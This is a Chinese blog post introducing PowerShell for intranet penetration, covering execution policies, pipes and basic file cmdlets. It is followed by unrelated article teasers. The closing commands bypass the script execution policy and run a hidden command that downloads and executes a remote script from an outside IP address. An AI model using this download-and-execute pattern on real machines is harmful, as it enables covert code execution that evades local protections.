内网渗透--powershell简介_powershell脚本的扩展名-程序员宅基地

技术标签: java  安全  

windows powershell基础

Powershell 是运行在windows机器上实现系统和应用程序管理自动化的命令行脚本环境。你可以把它看成是命令行提示符cmd.exe的扩充

powershell具有以下特点

  • 在window7以上版本的操作系统中是默认安装的
  • 脚本可以在内存中运行,不需要写入磁盘
  • 几乎不会触发杀毒软件
  • 可以远程执行
  • 目前很多工具都是基于powershell开发的
  • 使windows脚本的执行变得更容易
  • cmd.exe的运行通常会被阻止,但是powershell的运行通常不会被阻止
  • 可用于管理活动目录

可以输入“Get-Host”或者“$PSVersionTable.PSVERSION”命令查看powershell的版本,
在这里插入图片描述

PowerShell的基本概念

1. .ps1文件
一个powershell脚本其实就是一个简单的文本文件,其扩展名为“.ps1”。powershell脚本文件包含一系列powershell命令,每个命令显示为独立的一行。

2. 执行策略
为了防止使用者运行恶意脚本。powershell提供了一个执行策略。在默认情况下,这个执行策略被设置为“不能运行”。
如果powershell脚本无法运,可以使用下面的cmdlet命令查询当前的执行策略。

  • Get-ExecutionPolicy.
  • Restricted:脚本不能运行(默认设置)
  • ReomteSigned:在本地创建的脚本可以运行,但从网上下载的脚本不能运行(拥有数字签名的除外)
  • AllSigned:允许脚本由受信任的发布者签名时才能运行
  • Unrestricted:允许所有的脚本允许 可以使用下面的cmdlet命令设置powershell的执行策略。 Set-ExecutionPolicy

3.运行脚本
想要运行一个powershell脚本,必须输入完整的路径和文件名。运行脚本a.ps1,需要输入“C:\Scripts\a.ps1”.
4.管道
管道的作用是将一个命令的输出作为另一个命令的输入,两个命令之间用"|"连接。如:
让所有正在运行的,名字以字符“p”开头的程序停止运行

PS> get-process p* | stop-process

**## powershell的常用命令

  • 基本知识**
    powershell命令不区分大小写
    在powershell下,类似cmd命令的命令叫作cmtlet命令。二者的命名规范一致,采用“动词-名词”的形式。动词部分一般为:Add,New,Get,Remove,Set等。
    文件操作命令:
  • 新建目录:New-ltem whitecellclub-ltem Type Directory
  • 新建文件:New-ltem light.txt-ltemType File
  • 删除目录:Remove-ltem whitecellclub
  • 显示文本内容:Get-Content test.txt
  • 设置文本内容:Set-Content test.txt-Value “hello world”
  • 追加内容:Add-Content light.txt-Value “wodema”
  • 清除内容:Clear-Content text.txt
  • 常用命令
    要想运行powershell脚本程序,必须使用管理员权限将策略策略从Restricted改成Unrestricted

(1)绕过本地权限并执行
在这里插入图片描述
直接执行脚本,会提示系统中禁止执行脚本。
输入

powershell.exe -ExecutionPolicy Bypass -File .\test.ps1

可以绕过这个限制。
(2)从网站服务器中下载脚本,绕过本地权限并隐藏执行

powershell -WindowStyle Hidden -NoLogo -executionpolicy bypass
IEX(New-Object
Net.WebClient).DownloadString(‘http://123.56.82.231:8000/eryao7.ps1’);

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/shayebudon/article/details/122708467

智能推荐

tensorflow2系类知识-3 :CNN_cnn_class-程序员宅基地

文章浏览阅读240次。CNN基础知识卷积神经网络(Convolutional Neural Network, CNN)是一种结构类似于人类或动物的 视觉系统 的人工神经网络,包含一个或多个卷积层(Convolutional Layer)、池化层(Pooling Layer)和全连接层(Fully-connected Layer)。示例代码# -*- coding:utf-8 -*-# /usr/bin/p..._cnn_class

用栈来判断括号匹配问题_6-4 括号匹配 分数 15 作者 张瑞霞 单位 桂林电子科技大学 本题要求通过栈来判断-程序员宅基地

文章浏览阅读2.9k次,点赞4次,收藏21次。用栈实现:输入一行符号,以#结束,判断其中的括号是否匹配。括号包括:{ } 、 [ ] 、 ( )、 < >如果匹配,输出 right如果不匹配,给出错误提示。包括: (1)对称符号都匹配,输出 “ right “ (2)处理到某个符号时不匹配了,输出 " The $ character '*' is wrong." ,其中$是出错符号的序号,*是出错..._6-4 括号匹配 分数 15 作者 张瑞霞 单位 桂林电子科技大学 本题要求通过栈来判断

【浙大版《Python 程序设计》题目集(解)】第4章-28 矩阵转置(10分)_3*3转置矩阵行列转置python-程序员宅基地

该题目是要求将一个3×3矩阵进行转置,即行和列互换。输入格式为一行9个小于100的整数,输出格式为3行3列的二维数组,每个数据输出占4列。例子给出了一个输入样例和输出样例。使用for循环和格式化输出即可实现。

【机器学习】基于卷积神经网络 CNN 的猫狗分类问题_cnn猫狗分类-程序员宅基地

文章浏览阅读1.2w次,点赞3次,收藏65次。卷积神经网络(Convolutional Neural Networks, CNN)是一类包含卷积计算且具有深度结构的前馈神经网络(Feedforward Neural Networks),是深度学习(deep learning)的代表算法之一。顾名思义,就是将卷积与前馈神经网络结合,所衍生出来的一种深度学习算法。卷积神经网络CNN的结构图使用卷积神经网络(CNN)实现猫狗分类是一种有效的方法,它能够自动从图像中学习特征并进行分类,提高准确性。_cnn猫狗分类

tf.compat.v1.placeholder-程序员宅基地

文章浏览阅读2.9k次。Inserts a placeholder for a tensor that will be always fed.tf.compat.v1.placeholder( dtype, shape=None, name=None)Important: This tensor will produce an error if evaluated. Its valu...

HTML5+CSS3+移动web 前端开发入门笔记(一)_前端页面开发教程-程序员宅基地

文章浏览阅读561次,点赞3次,收藏3次。不同浏览器使用不同的渲染引擎,如WebKit(Safari和Chrome使用)、Gecko(Firefox使用)和Blink(Opera和新版Chrome使用)。JavaScript 引擎会解释并执行 JavaScript 代码,根据 JavaScript 代码修改文档对象模型(DOM),以及更新渲染树(Render Tree)和网页的呈现。新华网藏语频道,使用的是UTF-8,保证字符集的数量。最常用的Unicode编码方案是UTF-8,它使用可变长度的编码方式,根据字符的不同而使用不同长度的字节序列。_前端页面开发教程

随便推点

Quartus使用步骤及联合Modelsim仿真教程_quartus仿真-程序员宅基地

文章浏览阅读5.7k次,点赞19次,收藏69次。Quartus使用记录及与modelsim联合仿真_quartus仿真

编写函数判断闰年_本关任务:编写一个函数,能判断年份n是否是闰年,并调用该函数判断输入的年份是否为-程序员宅基地

文章浏览阅读3.6k次,点赞2次,收藏3次。编写函数 int fun(int n)判断n是否是闰年,定义main函数输入年份,调用fun函数判断,在main函数中输出yes或no。请只提供子函数的编写。【样例输入】2000【样例输出】yesint fun(int n)_本关任务:编写一个函数,能判断年份n是否是闰年,并调用该函数判断输入的年份是否为

Java异常之throws和throw理解_throws必须捕获或者throw吗-程序员宅基地

文章浏览阅读1.2k次。1、Throws 如果在当前方法不知道该如何处理该异常时,则可以使用throws对异常进行抛出给调用者处理或者交给JVM。调用者调用此方法,要么抛出要么try catch处理,到了JVM这里,就是打印出异常堆栈,并终止运行。换句话说,用这个有两种情况。 1>我throws抛出异常,如果是检查异常,那么调用者必须捕获或再次抛出 2>我th..._throws必须捕获或者throw吗

Python中JSON字符串转换与读写_python json字符串-程序员宅基地

文章浏览阅读1.9k次。1.要将python中的对象(如字典、列表)转换成 json 字符串,使用 json 模块的 json.dumps( ) 方法。2.要将python中的对象(如字典、列表)写入文件,使用 json 模块的 json.dump( ) 方法。3.要将 JSON 字符串转成python中的对象(如字典、列表),使用 json 模块的 json.loads( ) 方法。4要将JSON文件读取为python中的对象(如字典、列表),使用 json 模块的 json。load( ) 方法。_python json字符串

Python 全栈系列74 - 使用flask_apscheduler创建动态的定时任务管理_flask dm.webmsg-程序员宅基地

文章浏览阅读1k次。说明我想使用flask_apscheduler进行动态的定时任务调度,这样可以搭建一个建的分布式任务处理系统。内容这篇文章总结的很好,使用apscheduler常见的三种方式:1 基于flask,在视图函数中进行任务管理(本篇采用这种)2 基于flask,在配置项中管理。(网上其他常见的)3 直接使用apscheduler启动,比较适合本地的worker,任务相对固定。采用第一种(flask + 视图函数)的原因:1 使用网页的形式管理任务更方便(增加、暂定、删除)2 观察任务的执行_flask dm.webmsg

微信小程序扫码点餐(订餐)系统(uni-app+SpringBoot后端+Vue管理端)项目全套源码+完成文档说明+毕业论文_微信小程序订餐-程序员宅基地

文章浏览阅读1.1k次,点赞19次,收藏32次。1.1研究背景随着计算机技术的发展以及计算机网络的逐渐普及,互联网成为人们查找信息的重要场所,二十一世纪是信息的时代,所以信息的管理显得特别重要。因此,使用计算机来管理微信小程序订餐的相关信息成为必然。开发合适的微信小程序订餐,可以方便管理人员对微信小程序订餐的管理,提高信息管理工作效率及查询效率,有利于更好的为人们服务。1.2研究目的随着互联网技术的快速发展,网络时代的到来,网络信息也将会改变当今社会。各行各业在日常企业经营管理等方面也在慢慢的向规范化和网络化趋势汇合。_微信小程序订餐